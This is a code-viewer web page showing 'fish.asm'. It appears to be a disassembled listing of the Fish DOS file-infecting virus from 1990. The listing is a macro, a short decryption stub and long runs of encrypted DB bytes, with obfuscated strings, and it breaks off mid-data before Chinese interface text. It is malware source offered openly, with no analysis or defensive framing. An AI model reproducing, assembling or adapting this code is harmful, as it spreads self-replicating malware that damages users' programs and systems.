📄 fish.asm
字号:
PAGE 59,132
;==========================================================================
;== ==
;== FISH ==
;== ==
;== Created: 29-Oct-90 ==
;== Version: ==
;== Passes: 5 Analysis Options on: AFKOPUX ==
;== ==
;== ==
;==========================================================================
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
ifidn <reg16>, <bx>
db 0BBh
endif
ifidn <reg16>, <cx>
db 0B9h
endif
ifidn <reg16>, <dx>
db 0BAh
endif
ifidn <reg16>, <si>
db 0BEh
endif
ifidn <reg16>, <di>
db 0BFh
endif
ifidn <reg16>, <bp>
db 0BDh
endif
ifidn <reg16>, <sp>
db 0BCh
endif
ifidn <reg16>, <BX>
db 0BBH
endif
ifidn <reg16>, <CX>
db 0B9H
endif
ifidn <reg16>, <DX>
db 0BAH
endif
ifidn <reg16>, <SI>
db 0BEH
endif
ifidn <reg16>, <DI>
db 0BFH
endif
ifidn <reg16>, <BP>
db 0BDH
endif
ifidn <reg16>, <SP>
db 0BCH
endif
dw seg Imm16
endm
DATA_1E EQU 0B3H ; (97E0:00B3=0)
DATA_5E EQU 5A2BH ; (97E0:5A2B=0)
DATA_6E EQU 5E5DH ; (97E0:5E5D=0)
DATA_7E EQU 6920H ; (97E0:6920=0)
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
FISH PROC FAR
START:
JMP LOC_4 ; (0EDE)
PUSH AX
CMC ; Complement carry
SUB DX,SI
JLE $-3FH ; Jump if < or =
SUB AL,7FH
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
POP ES
POP DS
POP DI
ADD CL,CH
RETF 0CD0DH ; Return far
AND [BX+DI+50H],BH
nop ;*ASM fixup - displacement
MOV SI,DATA_7E ; (97E0:6920=0)
JNC LOC_1 ; Jump if carry=0
DB 'a tiny VOM p'
DB 0EBH, 7AH, 67H, 72H, 61H, 6DH
DB 00H, 9CH, 2EH,0FFH, 1EH, 35H
DB 0EH,0C3H
DB 0DH, 4EH, 42H, 49H, 23H, 82H
LOC_1:
OR SP,DI
ADD DX,DS:DATA_6E[BX+DI] ; (97E0:5E5D=0)
POP SP
POP DI
POP BX
POP DX
ADC CX,[BP+DI]
AND SI,DX
SUB SP,DI
ADD SP,[BP+DI]
OR BYTE PTR [BP+DI],0E7H
ADD CX,[BP+SI]
ADC DL,[BP+SI+53H]
PUSH DI
PUSH SP
PUSH SI
PUSH BP
NOP
AND SI,DX
SUB SP,DI
ADD BX,[BP+45H]
DEC SP
POP DI
INC SI
AND AX,DS:DATA_5E[SI] ; (97E0:5A2B=0)
ADD AH,[BP+DI]
SBB WORD PTR [BP+DI],254H
ADD BX,[BP+SI]
AND AX,[BP+562BH]
ADD AH,[BP+DI]
IN AX,0DEH ; port 0DEH
DB 0F2H, 23H, 83H, 1BH, 54H, 02H
DB 23H, 84H, 2BH, 56H, 02H, 23H
DB 86H, 2BH, 5AH, 02H,0CEH, 23H
DB 84H, 2BH, 5AH, 02H, 23H, 81H
DB 1BH, 54H, 02H, 03H, 1AH, 23H
DB 86H, 2BH, 56H, 02H, 23H,0E5H
DB 96H,0F2H, 23H, 83H, 1BH, 54H
DB 02H, 23H, 84H, 2BH, 56H, 02H
DB 23H, 86H, 2BH, 5AH, 02H,0CEH
DB 81H,0B3H, 46H, 03H, 23H,0C9H
DB 33H, 38H, 03H, 03H, 12H,0F1H
DB 0B4H
DB 8, 0DH, 0A1H, '+', 8BH, 8, 85H, 'I'
DB 0F2H, 4AH,0EFH,0FBH,0CEH, 4EH
DB 4CH, 5FH, 5DH,0BDH, 0CH, 03H
DB 12H,0B7H,0BAH, 01H,0E5H, 0CH
DB 0DH,0CEH, 0BH, 5EH, 3EH,0D6H
DB 83H,0CEH, 87H,0D5H,0DCH,0EEH
DB 0DCH,0EEH, 2BH, 84H, 1AH, 2BH
DB 81H, 52H, 0FH, 56H, 0AH,0CEH
DB 13H, 5BH, 3EH,0FBH, 83H,0D3H
DB 3FH,0E9H, 86H,0FDH,0DCH,0EBH
DB 0DCH,0EBH, 86H, 11H, 83H, 49H
DB 0FH, 53H, 12H,0CEH, 4FH, 4CH
DB 5EH, 5EH,0E5H,0BDH, 0FH,0B4H
DB 0E5H, 5BH, 07H, 83H, 23H,0AEH
DB 0EEH, 03H,0B9H, 5FH, 23H,0CAH
DB 0BH, 56H, 02H, 0DH, 1DH, 23H
DB 81H, 13H, 48H, 03H,0E5H, 8DH
DB 06H,0E6H,0C0H, 2CH, 2BH, 86H
DB 4AH,0F3H, 23H,0AEH, 4AH, 03H
DB 03H, 12H,0E5H, 3DH, 07H,0ACH
DB 0BDH, 2CH,0E5H,0BEH,0F2H, 81H
DB 0BH, 22H, 03H, 84H, 13H, 20H
DB 03H,0B7H,0BAH, 01H,0BDH, 0CH
DB 0CBH, 0BH, 5DH, 03H, 0DH,0E5H
DB 85H,0F2H, 91H, 55H, 00H, 0DH
DB 0CH, 5DH, 90H, 91H,0B9H, 6CH
DB 0F2H, 13H, 20H, 03H, 91H, 55H
DB 28H,0F2H,0F3H, 5DH, 90H,0E5H
DB 0ECH, 0CH,0AEH,0C9H, 33H, 20H
DB 03H, 81H, 0BH, 3AH, 03H,0CBH
DB 0BH, 46H, 03H,0E7H,0CAH, 0BH
DB 41H, 03H, 56H, 00H, 84H, 33H
DB 38H, 03H, 81H, 03H, 43H, 03H
DB 0E5H, 0AH, 0DH,0E5H, 2BH,0F2H
DB 0E5H, 1AH, 07H, 84H,0BDH, 22H
DB 0E5H, 56H,0F2H, 81H,0CEH, 23H
DB 34H, 13H, 4AH, 03H, 7EH, 11H
DB 0E5H, 32H, 07H, 23H, 83H, 13H
DB 22H, 03H, 23H,0F2H, 3BH, 20H
DB 03H, 57H,0BDH, 1EH,0E5H, 24H
DB 0F2H, 3EH,0D6H, 83H,0D6H,0CBH
DB 0BH, 78H, 09H, 0FH,0CEH
DB '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
DB 'C-?"4=-*sfcwt{bp*)'
DB 0E5H,0CFH,0F3H, 23H, 81H, 03H
DB 43H, 03H,0E5H,0B7H,0F3H, 03H
DB 12H, 13H, 0AH,0ACH, 48H, 03H
DB 83H,0CDH, 2BH,0C8H, 1BH, 07H
DB 0DH, 83H,0D5H, 08H, 1DH, 0DH
DB 23H, 0CH, 0BH, 17H, 0DH, 23H
DB 8DH, 33H, 2DH, 0DH, 0DH,0F6H
DB 78H, 29H, 23H,0ACH, 09H, 0DH
DB 0AEH, 0DH, 0CH, 23H,0ACH, 0BH
DB 0DH,0AEH, 0FH, 0CH, 23H,0ACH
DB 05H, 0DH,0AEH, 09H, 0CH, 23H
DB 0F2H, 3BH, 48H, 03H, 3EH,0CDH
DB 0F3H,0C9H, 5DH, 23H,0ACH,0EEH
DB 03H,0C6H, 23H, 0CH, 0BH, 1FH
DB 0DH, 23H,0ACH,0EEH, 03H, 23H
DB 86H, 2BH, 19H, 0DH, 23H, 83H
DB 1BH, 1FH, 0DH, 23H,0F2H, 23H
DB 15H
DB 0DH, 59H, 5FH, 42H, 58H, 59H
LOC_2:
DB 3EH,0E9H,0E5H, 0DH, 0DH, 84H
DB 0C8H, 81H,0C5H,0B6H, 1DH, 0DH
DB 0FAH,0EEH, 54H, 8CH,0E4H, 42H
DB 0FH, 0EH,0CCH, 8EH,0DFH, 0DH
DB 0FAH,0FEH, 5DH,0B5H,0F7H, 0DH
DB 5DH, 84H,0E5H,0C6H,0E5H,0C1H
DB 0DH,0C0H,0E5H, 29H, 07H,0C6H
DB 5EH, 86H,0D1H, 3BH, 86H, 52H
DB 0BH, 23H, 84H, 13H,0BEH, 03H
DB 56H, 58H, 84H,0E8H,0E5H,0DDH
DB 05H,0AEH,0E5H,0FCH,0F0H,0E5H
DB 19H,0F3H,0E5H,0CBH,0F0H,0E5H
DB 95H,0F0H,0E5H,0CDH, 05H, 85H
DB 8DH,0F1H, 02H, 78H, 09H,0E4H
DB 0E4H, 0DH,0B5H, 8DH,0F1H, 1CH
DB 78H, 09H,0E4H, 96H, 0DH,0ACH
DB 8DH,0F1H, 1FH, 78H, 09H,0E4H
DB 9FH, 0DH, 84H, 8DH,0F1H, 19H
DB 78H, 09H,0E4H, 04H, 0CH,0E6H
DB 8DH,0F1H, 2CH, 78H, 09H,0E4H
DB 0F9H, 0DH, 81H, 8DH,0F1H, 2EH
DB 78H, 09H,0E4H, 89H, 0CH,0AEH
DB 8DH,0F1H, 2AH, 78H, 09H,0E4H
DB 0EDH, 0DH,0E6H, 8DH,0F1H, 30H
DB 78H, 09H,0E4H,0CBH
DATA_3 DW 0F20CH ; Data table (indexed access)
DB 8DH,0F1H, 33H, 78H, 09H,0E4H
DB 0CH, 0FH,0ACH, 8DH,0F1H, 32H
DB 78H, 09H,0E4H, 70H, 0AH, 85H
DB 8DH,0F1H, 4FH, 78H, 09H,0E4H
DB 4FH, 0AH, 81H, 8DH,0F1H, 46H
DB 78H, 09H,0E4H, 11H, 0FH,0E6H
DB 8DH,0F1H, 43H, 78H, 09H,0E4H
DB 5EH, 05H, 84H, 8DH,0F1H, 42H
DB 78H, 09H,0E4H, 47H, 05H, 83H
DB 8DH,0F1H, 5AH, 78H, 0EH,0E4H
DB 0C2H, 0BH,0E4H, 5AH, 04H,0E6H
DB 0E5H, 7FH, 04H,0ACH,0E5H, 5EH
DB 0F0H,0E5H, 7BH,0F0H,0E5H, 25H
DB 0F0H, 84H,0E8H, 23H,0F2H, 3BH
DB 0BEH, 03H, 82H, 4BH, 0BH, 50H
DB 0C2H, 23H,0F2H, 0BH, 3CH, 03H
DB 0E4H, 19H, 05H,0ACH,0E5H,0F5H
DB 0F1H,0E5H,0DAH,0F1H, 07H,0CDH
DB 78H,0D9H,0E5H,0D6H,0F1H,0E5H
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -